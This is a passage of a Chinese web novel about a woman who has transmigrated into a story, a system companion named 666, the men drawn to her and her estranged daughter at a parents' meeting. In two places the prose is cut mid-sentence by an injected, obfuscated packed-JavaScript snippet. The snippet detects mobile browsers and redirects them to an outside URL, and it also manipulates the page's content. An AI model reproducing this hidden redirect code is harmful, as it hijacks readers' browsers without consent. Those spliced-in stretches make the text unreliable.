姜以柔默默地看着他随着呼吸而不断起伏的蜜色胸肌,眸光微微闪烁。 她突然在心里问666:“你能不能测出反派……胸围多少啊?” 系统666下意识地答道:“110……不是,你问这个干嘛?” 姜以柔倒抽一口凉气,真心实意地感慨道:“好大!” 然后,姜以柔眨了眨眼睛,主动走到他身边,笑着说道:“我帮你吧。” 她半蹲下身体,拿起桌上的一瓶伤药,就要往谢凛胸口的一处擦伤上涂,但她还没来得及触碰到谢凛,就被一只修长有力的手箍住了手腕。 谢凛一手攥着她的手腕,狭长的眼眸中溢满了危险的冷光,像野兽的眸子一般极其迫人。 他嗓音嘶哑,一字一句冷声道:“我说过了,不要随便靠近我。” 两人的距离很近,姜以柔甚至能感觉到他身上蓬勃的热意,那股浓烈得惊人的血腥气更让人不由得屏住了呼吸。 他的动作明晃晃地表示了对姜以柔的抗拒,配合他冰冷的话语,很难不让人退却。 姜以柔的脸上适时地露出一丝害怕的神情,一双眸子变得水盈盈的,雨打娇花般惹人怜惜。 然后,姜以柔明显感觉到,谢凛攥住她手腕的力道松了一些。 姜以柔咬了咬唇,故作委屈地开口道:“哦,那我现在就走。” 说完,姜以柔站起身来,毫不拖泥带水地转身就走。 在她转身离开的一瞬间,谢凛漆黑的瞳仁狠狠一颤,呼吸也重了几分。 他一手捂着伤处,另一只手紧紧攥成拳,用力到伤口崩裂,刚系好的绷带又染上了鲜红的血。 谢凛轻轻闭上眼睛,强迫自己不听不看,也……不要挽留。 毕竟…… 明月再美,也不是他这种刀口舔血的人能肖想的。 那颗因姜以柔的到来而微微躁动的心,终于再次冷了下去。 谢凛闭目躺在沙发上,他因伤势重而头脑昏沉,竟没有察觉到,那道本已远去的脚步声,又轻轻走了回来。 突然间,柔软细腻的手抚上他伤痕累累的胸口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16159455|180547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微凉的触感激起一阵战栗。 谢凛猛然睁眼看去,正对上一双笑盈盈的眼眸。 那双眸子如秋水般潋滟,盈着的温柔几乎能将人溺毙。 姜以柔睫羽轻垂,轻声道:“我还是不放心你,就又回来了。” 这一刻,谢凛眼瞳微颤,怔怔地望着她。 眼底的寒冰似乎也无声碎裂,在那娇羞动人的浅笑面前毫无抵抗力。 两人默默对视着,他们的呼吸都几乎交缠在了一起,寂静的空气中似乎有什么异样在酝酿,一触即发。 姜以柔一边望着他的眼睛,一边试探着伸手帮他处理伤口。 果然,这次谢凛没有再推拒,只怔怔地看着她,幽深的眼眸中全是她的身影。 姜以柔眼睫微垂,不动声色地勾了勾唇角—— 看你还敢不敢嘴硬。 她低下头,轻轻地将药抹在谢凛的伤口处。 莹白的指尖轻点那结实的胸口,姜以柔能感觉得到,手下的胸肌瞬间绷紧了,硬得像石头一样。 连头顶的呼吸声都更重了两分。 姜以柔对他的异样恍若未觉,一本正经地为他上药,手指在他的胸口处涂抹、揉捏,轻柔得仿佛一根羽毛,透过身躯直接搔到人的心坎上。 不知为何,越是上药,谢凛流的汗便越多。 他转过头,根本不敢去看姜以柔,粗重的呼吸声中透着股隐忍。 等到药上的差不多了,姜以柔便故作不经意地说道:“谢先生,谢谢你今天给我做的饭……” 谢凛眼皮轻颤了下,抿着唇并未回应。 姜以柔也不觉得尴尬,幽幽地低声道:“其实我一直吃不惯父母做的饭,最近也瘦了好多……” 姜以柔期期艾艾地抬眸,潋滟的眸中似有百转千回的柔情,她轻咬下唇,略带羞涩地笑道:“还好有你……” 轻飘飘的几个字,却让谢凛那铁打般坚实的身躯微微一颤。 他近乎狼狈地扭过头,耳根处竟泛起一片薄红。 空气寂静,呼吸黏稠,有暧昧在涌动。 姜以柔正在酝酿下一句话,却听见666问道:“宿主,你大晚上来找反派,又特意提起他做的饭好吃……该不会是想让他继续给你做饭吧?!” 姜以柔理所当然地说道:“废话!” “他不给我做饭的话,我明天拿什么卖给方镜麒啊?一顿饭五万块呢!” 系统666:“……” 大反派伤得连站都站不稳了,还要被你惦记着当免费厨子。 姜以柔你还是人吗?!=皿= 15.第 15 章 对于666的疯狂吐槽,姜以柔置若罔闻,只一味的温柔浅笑。 可惜的是,虽然谢凛没有再拒绝她的接近,但是,对于姜以柔那拐弯抹角的试探,谢凛始终一言不发。 姜以柔倒也不急不恼,轻柔小心地帮他上好药,便适时地提出了告辞。 “谢先生,你好好休息,我先回去了。”姜以柔笑了笑,温声提出告辞。 说完,她也不等谢凛的反应,干脆利落地转身离开了。 在姜以柔背过身的一瞬间,一直没有正眼看过她的谢凛,终于扭头望向她的背影。 谢凛额发凌乱,一双鹰隼般凌厉的眸子隐在暗中。 他的眸光一直锁定在那道纤细窈窕的背影上,直到再也看不见。 姜以柔脚步轻快地回了家,躺上床继续睡觉,没有惊扰任何人。 系统666忍不住冒泡,严肃地警告道:“宿主,我觉得你这样做非常不好!” “哪里不好?”姜以柔闭着眼睛,懒洋洋地问道。 “你竟然还问我哪里不好?”666抓狂大叫,“男主知道他花五万块买来的饭,实际上是反派亲手做的吗?!” 姜以柔理直气壮:“只要我不说,男主就不会知道。” “你……你就不怕哪天阴沟里翻船?万一他们俩都知道了真相呢,你打算怎么办?” 姜以柔根本不放在心上,随意道:“到时候再说呗。” 系统666非常无奈,为什么书里的角色一见到宿主,就仿佛失了智一样,净干些莫名其妙的事情呢?! 他崩溃地嘀嘀咕咕:“唉,反派刚才就不应该给你开门的……对啊,他到底为什么要给你开门呢?!” “明明他都伤得站也站不稳了,干嘛一听见你喊他,就硬撑着过去开门呢……” 姜以柔唇角微勾,笑得意味深长:“搞不懂的事情,你就别瞎想了。睡吧……” * 同一时间,方家别墅。 方镜麒大步踏进家门,银白色的发丝张扬地跳跃,他一边疾步往卧室走,一边随手脱下外套。 佣人很有眼色上前接过外套,正要退开时,却被方镜麒叫住。 “我定的东西到了没有?”方镜麒问道。 佣人还没来得及说话,宋管家便殷勤地走上前,笑着说道:“少爷,东西已经到了,我帮您放在卧室的桌上了。” 方镜麒闻言精神一震,往卧室走的动作都加快了几分。 宋管家疾走几步,跟在他身后问道:“少爷,您不先吃饭吗?” 方镜麒头也没回,随意摆了摆手。 宋管家便知趣地没再出言打扰。 但是,宋管家并没有离开,他不动声色地打量着方镜麒的背影,面上竟浮现出一抹忧虑。 终于,宋管家忍不住轻手轻脚地跟了上去。 方镜麒回到卧室后,迫不及待直奔桌上的礼盒。 他对任何东西都不上心,绝版的百达翡丽坏了都不在乎,此时拆礼盒的动作却格外小心,显然很重视里面的东西。 礼盒拆开后,方镜麒从里面拿出一个小巧的头盔。 比起他自己那个黑底银纹的霸气头盔,这个头盔格外秀气,粉粉嫩嫩一看就是给女生用的。 方镜麒把目光放在头盔内侧,指尖轻轻划过那个刻印的“姜”字,神情竟然有些温柔。 门外,宋管家将方镜麒的表情尽收眼底,顿时心下一惊。 他几乎算是看着方镜麒长大的,最清楚不过少爷的性格。 从小就是乖张嚣狂的魔王性格,天不怕地不怕,连方氏掌权人都对这个侄子很头痛。 他何时露出过这种……堪称温柔的表情? 还有那个女式头盔…… 方镜麒可是很宝贝他那辆自改机车的,从来不让任何人坐他的后座,所以,那个能让方镜麒亲自为其准备头盔的人……可想而知有多重要。 宋管家悄无声息地离开,他眉头紧锁,联想到今天刚派人查到的种种信息,一颗心直往下沉。 良久,他咬咬牙做了决定。 安排好别墅的一切事务后,他马不停蹄地往方氏总部赶去。 大名鼎鼎的豪门方家,总部在S市最中心寸土寸金的CBD,极致豪华与先进的建筑彰显着老牌豪门的实力。 宋管家花了一个多小时才来到这里,直奔方氏大楼最顶层——方家目前的掌权者方隐年就在那里。 宋管家先见到的是方隐年的特助,对方用内部线路汇报了一番,才客客气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16169492|180547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气地将他请进总裁办公室。 偌大的办公室里,没有太多的色调,入目是极致的简约。 双脚踏上Y国那昂贵的手工定制地毯时,宋管家立刻就紧张起来。 哪怕他已经为方家服务了二十多年,也见过这位掌权者无数次,但……每次见到他时,他还是会紧张。 这简直像是……食草动物在荒野中遭遇肉食动物的本能。 宋管家深吸一口气,不出意外地闻到了那股熟悉的檀香,紧绷的神经莫名放松了些许。 宋管家迈步,谨慎地走向那个黑檀木办公桌,他微微垂着头,第一眼看到的是一双手。 一双很完美的成年男性的手,手指修长,骨节分明,皮肤是温润的白。 那只左手握着一串凤眼菩提,珠体圆润有光泽,拇指匀速地碾过一颗颗珠子,动作流畅而有节奏,有种经年累月形成的、近乎本能的韵律,如同呼吸一般自然。 此时,手的主人开口了。 “坐。” 嗓音低磁,语调不急不缓,一如珠串转动时那般平和安稳。 宋管家有些受宠若惊笑了笑,在椅子上端正坐好。 这下他终于有了平视方家掌权者的机会。 方家叔侄俩长得很像,尤其是那双标志性的凤眼,同样浓墨重彩的好看。 只是相似的五官在不同的人身上,却有不同的风格。 方镜麒精致而俊美,眉眼间全是少年意气的张扬;方隐年则更加英俊成熟,那双凤眸不像方镜麒的那样具有攻击性,眉宇间尽是平和淡然。 比起稚嫩的方镜麒,方隐年身上更有种久居高位而形成的威仪。 “有什么事吗?”方隐年温和地笑了笑,对宋管家很是客气。 宋管家深吸一口气,面色极其凝重,沉声说道: “二爷,今晚冒昧打扰您,实在抱歉,只是有件关于少爷的事情,我想应该尽快汇报给您。” “少爷最近有些反常,我感觉像是恋爱了,就私下里调查了一番。” 宋管家越发严肃:“据我调查,少爷确实有了喜欢的人,只是……” “他喜欢的人,恐怕不太合适。” “或许……需要您出面解决一下,免得少爷走上歧路。” 40-50 第41章 听到姜以柔大言不惭地说要分享“育儿心得”, 姜渔实在忍不住嘴角抽搐。 她虽然满脸古怪,但还是慢吞吞地跟着众人一起鼓起了掌。 姜以柔已经起身往讲台上走去,姜渔定定地看着她的背影, 看着周围人望向她妈妈时赞叹而欣赏的目光,心里涌起些莫名的感觉。 这种激烈的情绪在她胸中翻涌,几乎让她忍不住大叫出声, 连呼吸都变得急促。 但最后, 她什么都没做,只是脊背悄悄挺直了一些。 姜以柔已经款步走到讲台上, 哪怕被几十双灼灼的目光盯着,也从容而镇定,脸上挂着迷人的浅笑。 台下众人都很开心——太好了, 这样就能光明正大地看美女了。 不然开家长会的时候老是扭头, 也不是个事儿啊! 掌声经久不息,这种近乎狂热的氛围,对圣维尔学院这群自恃身份的家长来说,实属罕见。 直到班主任受不了吵闹, 抬手压了压, 台下才慢慢安静下来。 大家眨也不眨地盯着姜以柔,连呼吸都忍不住放轻了。 姜以柔的穿着打扮并非极致奢华,甚至很是低调素雅。但她品味极好, 每一处搭配都恰到好处,堪称赏心悦目。 而且, 衣衫配饰越素, 便越是突显出那张脸的耀眼夺目,牢牢吸引着所有人的目光。 万众瞩目下,姜以柔轻声开口道: “大家好, 我是姜渔的妈妈。” “今天,因为女儿成绩优异,我有幸站在这里讲话,我感到非常骄傲,但同时,也感到深深的愧疚。” 姜以柔一双含情目直直地望向姜渔,盈满了欲说还休的悲伤,底下的人都不由得心脏一颤。 “为了赚钱养家,我不得不经常在外奔波,却因此而缺席了小渔的成长,没能好好陪她。”她的声音微微哽咽,但并不失态,反而更显真诚。 她眼眶微红,但眼神明亮而坚定,笑着说道:“但也正因为如此,我的女儿,她比同龄的孩子都要早熟,都要懂事。她不但学习上不用操心,还会主动做家务……” 姜以柔看向女儿的方向,眼中充满了毫不掩饰的骄傲和心疼:“我真的觉得,我是这个世界上最幸运的妈妈,能拥有这样一个善良、贴心、坚韧的女儿。她就是支撑我走下去的最大力量。” 此时此刻,教室里一片安静。 姜以柔眼带泪花的模样,实在太令人心碎,简直让人恨不得付出一切,只求她能展颜一笑。 而且,她竟然顶着这样一张杀伤力极强的脸,说着如此动人的话语…… 台下,已经有很感性的人在悄悄抹眼泪了。 系统666沉默良久,才试探着问道:“宿主,如果我没记错的话,你才刚穿过来没多久……竟然已经跟女配有这么深的感情了吗?!” 姜以柔神情依旧哀婉,但不妨碍她跟666对话:“我重感情不行吗?” 紧接着,姜以柔话锋一转,语气变得更加柔和,却也带上了一丝淡淡的忧虑和恳切: “但是,我也知道,孩子的世界不应该只有妈妈和家人。她更需要朋友的陪伴,需要同龄人的认可。所以,我最大的愿望,就是她能在学校里快乐地成长,能交到很多很多的好朋友。” 她目光恳切地望向在座的家长和孩子们,却丝毫不显卑微,明亮的眸子格外动人。 “我知道,孩子们在一起难免会有磕磕碰碰,而且我的女儿有时候也不太会表达,可能会跟同学们产生一些小摩擦。但是……” “小渔真的是一个很善良的好孩子,希望大家能多多包容她。”姜以柔十分恳切,一字一句地说道。 俨然一个全心全意为了女儿的好妈妈。 话落,台下一片死寂。众人神色各异,一句话都说不出来。 在场所有人,每一个都或多或少知晓姜渔在班里的处境。 有的人会主动嘲笑她、欺负她;有的人不屑于口头欺侮,但偶然间瞥向姜渔的眼神,总不经意泄露出傲慢与嫌弃;有的人倒是什么都没做,却冷眼旁观这一切。 他们的父母也都听自家孩子提起过这个特优生,对于孩子们言谈间的贬低,丝毫不觉得有什么不对。 一个穷人家的孩子而已,能跟他们的孩子坐在同一间教室,已经很不可思议了。 但现在,看着那张笑中带悲的如花娇颜,他们竟有种无地自容的羞愧感。 姜以柔默默地注视着台下这群养尊处优的人,美丽的脸上带着恰到好处的脆弱与伤感,眼眸深处却是平静的。 此时此刻,整间教室都因为姜以柔的发言而陷入了诡异的寂静。 直到一阵缓慢而清脆的掌声突然响起,打破了这份沉寂。 姜以柔微微一怔,循着鼓掌声望去,当即不动声色地挑了挑眉稍。 教室后门处,方隐年长身玉立,正在缓缓鼓掌。 他身姿挺拔如松,剪裁精良的西装完美包裹着他结实有力的身躯,勾勒出肩宽腰窄的好身材。 那一身清贵卓然的气质,与周遭环境格格不入,连鼓掌的动作都优雅而从容。他左腕上没了那串圆润的菩提,但自有一种出尘的沉静气韵。 方隐年正专注地看着姜以柔,狭长的凤眸深邃,比起往日那高高在上的淡漠,似有几分意味不明的暗色的翻涌。 不知道他是什么时候到的,也不知道他听了多久。 他只静静地为姜以柔鼓掌,不像是热烈的喝彩,倒更像是笃定的撑腰。 有了方隐年的掌声打破寂静,教室里紧接着爆发出热烈的掌声。 不少学生一边用力鼓掌,一边心虚地瞄向姜渔,脸上浮现出浓浓的愧色。 他们以前……好像确实对姜渔挺过分的。 仔细想想,姜渔也没干什么伤天害理的事,可他们却那么欺负她,实在很过分。 如果没有姜以柔,恐怕这些出生就含着金汤匙的权贵子弟,一辈子都不会反思自己的过错。 但这场家长会悄然改变了一切。 在场的人会永远记得姜以柔那张笑中带泪的绝美面孔,也会永远记得这一刻的悸动。 掌声经久不息,过了很久才恢复安静。 姜以柔矜持地微笑着,款步回到了座位。 中途,她还与方隐年对视了一眼。 目光交汇间,方隐年客气地冲她颔首,姿态矜贵而凛然。 姜以柔也回了他一个温柔的浅笑,然后便轻飘飘地移开了视线。 方隐年又盯着她的背影看了一会儿,良久才收回目光,眸色幽深。 两人这短暂的互动,落在了许多人眼中,顿时激起了小范围的隐秘讨论。 众人的视线在姜以柔和方隐年之间来回轻扫,神情有些微妙。 “我靠,那不是方少的小叔吗?他居然也来开家长会了?”有学生压低声音咋呼道。 “天啊,叔侄俩长得有点像唉,真的好帅……感觉方总更有熟男的魅力。”有女生顾不得家长在身边,兴奋地跟朋友讨论道。 “你们看见了吗?方总刚才主动给姜渔妈妈鼓掌,还冲她点头,他俩……是不是有情况啊?” “不可能吧?我听说方总信佛的,一直都不近女色啊!” “……你再看一眼姜渔妈妈,你摸着良心说,人家那是一般的‘女色’吗?” “……有道理。难道这就是方少舍命救姜渔的原因?如果方总和姜渔妈妈在一起,他们就是一家人了呀!” “别忙着下结论,再观察一下!” 学生小声讨论的全是八卦,家长们的关注点则不同。 有几位男家长在看到方隐年后,瞬间坐不住了,要不是顾及老师还在台上,肯定立马冲上前跟方隐年套近乎了。 今天不仅见到了国色天香的大美女,居然还能有幸见到声名赫赫的方总……这家长会来得实在太值了! 因为方隐年的到来,这场家长会又掀起了一阵波澜。 不少人蠢蠢欲动,但碍于方隐年冷淡的面色和强大的气场,踌躇着不敢贸然打扰。 其中,乐柠也好奇地打量着方隐年,她晃了晃身旁父亲的手臂,小声问道:“爸爸,那位就是方叔叔啊?” 乐柠的妈妈那边跟方家有些交情,她刚转学过来的时候,她妈妈还特意拜托方隐年,请他侄子照顾一下乐柠。 乐柠一直对这位据说手眼通天的方叔叔很是好奇,今天倒是第一次见。 乐柠等了半天,却迟迟没听到父亲的回应,她疑惑地抬头,却看见父亲正微微沉着脸,目光在方隐年和……姜渔的妈妈之间来回扫视,不知道在想些什么。 正当乐柠想要追问时,她父亲的手机突然响了起来。 乐柠父亲拿起收起一看,眉心顿时紧蹙起来。 随即,他压低声音,歉意地对女儿说道:“小柠,爸爸有点事先离开一下,马上就回来。” 乐柠懂事地点点头:“好,爸爸你小心点,别迷路了。” 男人被女儿逗得轻笑出声,他温柔地摸了摸女儿的脑袋,温声道:“放心,不会,爸爸哪儿有那么笨?” “你乖乖等着,爸爸马上回来。”乐柠父亲又嘱咐了几句,便握着手机匆匆出门了。 乐柠的父亲走得很低调,并没有引发什么关注,家长会照常进行。 姜以柔正漫不经心地听老师讲话,偶然间一扭头,看见便宜闺女正抿唇盯着她。 姜以柔微微勾唇,冲她露出一个温柔的笑。 姜渔只看着她不说话,心情十分复杂。 她清清楚楚地知道,姜以柔刚才说的那些话,有多么的虚伪可笑。 姜以柔的确没有陪伴过她的成长,但可绝对不是为了养家! 呵,她倒是挺会给自己贴金的…… 姜渔恶狠狠地想道。 但不知为何,明知姜以柔在撒谎,明知她那番话恐怕没有几分真,可她竟然……还是会心跳加速。 眼眶酸酸涨涨的,像是有什么要喷涌而出,姜渔连忙转过头,咬着牙掩饰自己的狼狈。 但她不知道,她已经在姜以柔面前暴露了。 因为…… “嗷嗷嗷!女配黑化值减30%!又变回35%了,谢天谢地!”666欢欣鼓舞的声音传来。 姜以柔也悄悄地松了口气,脸上的笑容扩大了几分。 这黑化值总算又控制住了,不枉她一通长篇大论,说得口都干了。 接下来,家长会的流程照常进行。 姜以柔从开始的微笑从容,到最后眼神发直,笑都笑不出来了。 为什么家长会这么长这么无聊…… 在姜以柔忍不住发呆时,旁边的姜渔显出几分异样。 姜渔脸色微红,不安地在座位上动了动,神情有些局促。 姜以柔侧眸观察她片刻,冷不丁凑到她耳边低声问道:“想上厕所?” 姜渔咬了咬唇,撇开视线低声道:“没事,马上就结束了。” 姜以柔不赞同地“啧”了一声,嗔怪道:“你这孩子,怎么总是委屈自己?” 姜以柔见不得便宜闺女这副隐忍压抑的模样,当即歉意地跟老师打了声招呼,抓着姜渔的手臂,就要带她出去。 姜渔抿了抿唇,虽然有些不自在,但还是顺从地跟在她身后。 姜以柔的一举一动都牵动着所有人的视线,她牵着姜渔转身,准备从后门处离开,众人都忍不住转头看她。 就在姜以柔即将走到后门时,她随手撩了下头发,结果发丝正好勾住了珍珠耳坠,一个巧劲之下,耳夹松动,竟直接掉了下来。 些微的刺痛感传来,姜以柔轻轻皱了下眉,幸好这只是耳夹,并没有出血。 她低头看着掉落在地上的珍珠耳坠,一时间有些迟疑。 她今天穿着裙子和高跟鞋,不太方便俯身捡东西。 不过,她压根不需要想太多,因为有的是人在虎视眈眈地盯着,等待一个为她效劳的机会。 几乎是耳坠掉落的一瞬间,好几名男士纷纷起身,殷勤地想要为她捡起耳坠。 这么多人弯身为她捡耳坠,仿佛能为她效劳是天大的恩赐一般,这一幕甚至有些荒谬,可当一切发生在姜以柔身上时,却意外的合理。 但很快,这些争着献殷勤的男人身形不约而同地僵住了。因为…… 耳坠掉落,恰好滚到了坐在最后一排的方隐年脚边。 那位清冷淡漠、高高在上的方总,只垂眸看了一眼,竟然没有丝毫犹豫,他弯腰俯身,轻轻捻起那枚小巧的耳坠。 众目睽睽之下,他捻着那枚耳坠,施施然走到了姜以柔面前。 这一瞬间,好几个对姜以柔有异样心思的男性,骤然变了脸色。 第42章 方隐年手掌宽大, 那小小的珍珠耳坠在他手里,显得格外袖珍,与他冷硬的气场格外不搭调。 但方隐年却神态自若, 他慢条斯理地将耳坠递到姜以柔面前,什么话都没说,只用眼神示意她接住。 姜以柔抬眸, 正对上他那双狭长好看的凤眸。 那双凤眸依旧平和、漠然, 像他曾经左腕上的菩提一般不染俗念。 如果只看他的眼睛,姜以柔看不出一丝一毫的情愫。 不过…… 姜以柔微微垂眸, 目光从他无波无澜的脸上,落到那修长指尖捻着的珍珠耳坠上。 姜以柔意味不明地勾了勾唇角,抬手地接过那枚耳坠。 她柔软细腻的指尖与方隐年的一触即离, 短暂的接触如同一粒微小的石子投入湖中, 湖面还算平静,内里的涟漪只有自己清楚。 “谢谢。”姜以柔拿回自己的耳坠,大大方方地笑着道谢。 方隐年面色不动,只矜持地点了点头, 便转身回了自己的位置上。 两人的这段接触十分短暂, 一切只不过发生在片刻之间,众目睽睽之下,两个人都很坦荡、从容。 甚至方隐年都未曾跟姜以柔说过一句话。 仿佛他真的只是随手做好事而已。 可不知为何, 两人之间就是莫名有种暗潮涌动的氛围。 让人忍不住侧目、揣摩。 姜以柔已经带着女儿离开了教室,方隐年则端坐在位置上, 神情漠然, 好像刚才只是个无关紧要的小插曲。 但某些人的心里却久久无法平静。 他们表情有些难看,忌惮地打量着方隐年,心里在不断权衡着什么。 那么漂亮的女人, 他们刚下定决心要不择手段得到呢,反正她也没什么背景。 可如果方隐年也看上了…… 妈的,他不是信佛吗?应该不至于跟他们抢女人吧? 某几个男人神情莫测,心里却在骂骂咧咧。 姜以柔已经离开了教室,可她临走前,却把许多人的心搅乱了。 姜以柔带着便宜闺女去了卫生间,姜渔上厕所,她则照着镜子补了个妆。 很快姜渔就出来了,她立马就要回教室:“我们赶紧回去吧。” 姜以柔却一把拉住她,嗔怪地点了点她的额头,柔声道:“你这孩子,怎么那么死板?” “那家长会多无聊啊,好不容易溜出来,陪我逛逛去。”姜以柔挽住姜渔的手臂,强拉着她往楼下走。 姜渔的神情里有抗拒也有忐忑,但她终究没有挣脱,任凭姜以柔拉着她下了楼。 她抬手摸了摸自己的额头,那里仿佛还残留着姜以柔指尖的温度,她睫羽不自觉颤了颤。 姜渔每天来学校的目的只有一个,就是学习,她还真的从未好好逛过这所全国数一数二的贵族学院。 现在,被姜以柔强拉着走在校园中,她从一开始的不情愿,竟也慢慢放松了下来。 姜以柔瞥了眼便宜闺女轻松不少的脸色,轻笑着说道:“小渔,你平时就是太紧绷了,偶尔也该放松一下嘛。” 姜渔瞥她一眼,没说什么,只扭头看着旁边的绿树花草。 姜以柔也不在乎她的沉默,只漫不经心地随口说道:“小渔,你那些同学应该不会再欺负你了,你以后跟他们好好相处。” “当然,我不是让你讨好他们,我只是不希望你活得太累……” 为了恶毒女配不要动不动黑化,姜以柔简直操碎了心。 姜渔不甚自在地抿了抿唇,竟然没有跟她犟嘴,也没像之前那般动不动就跟姜以柔拉开距离。 她安安静静地被姜以柔牵着,倒真像个听妈妈话的乖孩子。 * 与此同时,校园的另一侧。 乐柠的爸爸从教室出来后,直奔圣维尔学院大门口。 他匆匆走到校门口处,一眼就见到了被拦在门外、脸色铁青的好友。 “文泽!”他快跑几步,顶着保安警惕探究的目光出了校门,然后一把拉住赵文泽,两人走到了一处安静的角落。 “怎么回事?”他皱着眉头问道。 这一小会儿的功夫,赵文泽都抽了快半包烟了,他脸色极差,阴沉地说道:“行了,林松齐,先别问了,你现在得另外想办法,把赵承的转学办了。” 林松齐实在是一头雾水,“我不是帮你引荐了张校长吗?可你怎么连校门都进不去?” 赵文泽随手弹开烟头,抬脚狠狠碾灭,一想起方才遭受的屈辱,就眸色泛冷。 他咬牙切齿道:“还不是因为那个女人……” 这是第一次,他想要一个女人,非但没得到,反而在她身上栽了个跟头。 “女人?”林松齐皱了皱眉,很是不悦道,“你就为一个女人,耽误了正事?” 赵文泽不自觉舔了舔唇,喃喃道:“你不懂……” 他脑海中不禁浮现出那个女人罂粟般的美貌,就连她不屑鄙薄的神情都那样勾人,赵文泽一想起来,就喉咙发紧。 怒火与□□交织,深深缚住了他一颗心。 他又点燃了一根烟,缭绕的雾气挡住了他的脸,只露出一双满是野心的眸子。 “所以,那个女人是谁?她怎么把这件事搅和了的?”林松齐追根究底地问道。 赵文泽眸色微闪,对“那个女人”闭口不谈,只不耐地敷衍道:“没谁,别问了。” 身为男人,他太懂姜以柔的吸引力,所以他不打算跟任何人分享这个女人。 等他得到她,他会把那个女人严严实实地藏起来…… “总之,”赵文泽深深地吸了口烟,心不在焉地说道,“叫你来就是当面说一声,那个张校长不待见我,赵承转学的事得交给你了。” 林松齐紧紧皱着眉,很是不赞同地看着他,但他最终只是叹了口气:“我知道了,小承的事交给我,我会搞定的。” 赵文泽眉梢一挑,用力拍了拍他的肩膀,颇有些意味深长地说道:“这事儿我就不跟你说谢谢了,反正是你应该做的。” 林松齐眸光微凝,深深地看了他一眼,带着明显的警告意味。 赵文泽只耸了耸肩,笑得不以为意。 “行了,我先走了。”赵文泽冲好友挥挥手,干脆利落地转身离去。 他要赶紧去查一下那个女人,争取早日得手。 林松齐目送着好友的背影,紧皱的眉心始终未曾松开。他颇有些厌烦地叹了口气,转身大步回了学校。 他正要回教室继续开家长会,视线偶然一瞥,却在一条小道上看见了两道身影。 其中一道身影窈窕多姿,只是一个背影就能让人生起无限遐想。 林松齐怔怔地看着她的背影,还没来得及反应,一股冲动涌上,随即凭本能喊了出来: “请留步!” 前面的两个人身形微滞,双双回头看去。 等看到来人后,姜以柔只惊讶地眨了眨眼睛,而姜渔则反应极大,瞬间僵直了身体。 姜渔直勾勾地盯着对面的男人,眼眶渐渐泛红,眸中满是抗拒的冷意,还有一丝不易察觉的紧张。 “你是……乐柠爸爸?”姜以柔迟疑地问道。 “我是。”林松齐点点头,快步走上前,在距离姜以柔两步远的地方克制地停下。 他长得英俊儒雅,一举一动也温和守礼,很容易让人心生好感。 姜以柔刚要开口说话,却发现姜渔竟然开始微微颤抖起来。 她疑惑地皱了皱眉,有些担心地低声问道:“小渔,你怎么了?” 林松齐也关心地望向她,温声问道:“是身体不舒服吗?要不要我送你去医院?” “不用!”姜渔突然厉声开口,十分生硬地拒绝了乐柠爸爸的示好。 然后,她突然跨上前一步,将姜以柔挡在身后,警惕地瞪着对面的男人:“你想做什么?” 乐柠爸爸微不可查地皱了皱眉,似乎对姜渔这莫名其妙的敌意很是苦恼。 姜以柔轻轻拍了下她的手,温声安抚道:“小渔,别激动。” 在姜以柔的安抚下,姜渔终于冷静下来。 她意识到自己反应得太过了。 本来这两人没认出彼此,可如果她反应这么大……说不定会让他们想起些什么。 这么想着,姜渔立刻强迫自己镇定下来,一言不发地保持着沉默,只是盯着林松齐的眼神里仍充满警惕。 林松齐深吸一口气,露出一个温和的笑容,说:“你好,姜渔的妈妈,正式自我介绍一下,我叫林松齐。” 闻言,姜以柔眼底划过一丝诧异——他竟然跟乐柠不是同一个姓? 姜以柔没有将心里的异样表现出来,而是礼貌地笑道:“林先生,幸会。不知道你有什么事吗?我和女儿还有事……” 姜以柔满脸歉意,嘴上倒是不怎么客气,就差没把“不想跟你浪费时间”写在脸上了。 她对已婚男向来没兴趣,懒得在他们身上浪费时间。 林松齐紧紧盯着姜以柔的脸,面上再度浮现出茫然之色,他似乎在努力回想着什么,表情甚至有几分痛苦。 眼看着姜以柔不耐烦地就要离开,林松齐干脆咬了咬牙,脱口而出问道:“我们以前见过吗?” 闻言,姜以柔微微一怔,随即差点笑出声来。 她好整以暇地上下打量着林松齐,眼里闪过轻蔑的笑意。 这搭讪方法可真够老套的。 第43章 姜以柔嘴角噙着一丝不屑, 上下打量着林松齐,刚才觉得还算顺眼的儒雅男人,突然就变得面目可憎起来。 他不是都有家庭了吗?竟然还想着勾搭她。 姜以柔的神情略显冷淡, 不咸不淡地说道:“林先生,你认错人了吧?我们以前没见过。” 一看她的表情,林松齐就知道她误会了, 以为自己是心怀不轨之人。他有些急躁, 连忙解释道:“姜渔妈妈,我知道你可能觉得我轻浮, 但请你相信我,我真的感觉……” 我们好像在哪里见过。 他话音未落,便戛然而止。 因为姜渔猛地冲上前, 狠狠地推了他一把。 “滚!”姜渔怒瞪着林松齐, 像只愤怒的小狼崽。 她再也忍不下去了,强烈的危机感袭来,她只想要这个男人离她和姜以柔远远的! 这一瞬间,666懵然说道:“女配黑化值加10%, 目前黑化值45%……” 姜以柔神情微怔, 眼底涌上些不敢置信,望向林松齐的目光瞬间冷了下来。 她再也没了逛校园的兴致,拉上姜渔便想离开。 “等一下……”林松齐满脸着急, 他不依不饶地跟上去,竟然想拦住他们。 姜以柔顿住脚步, 似笑非笑地盯着他, 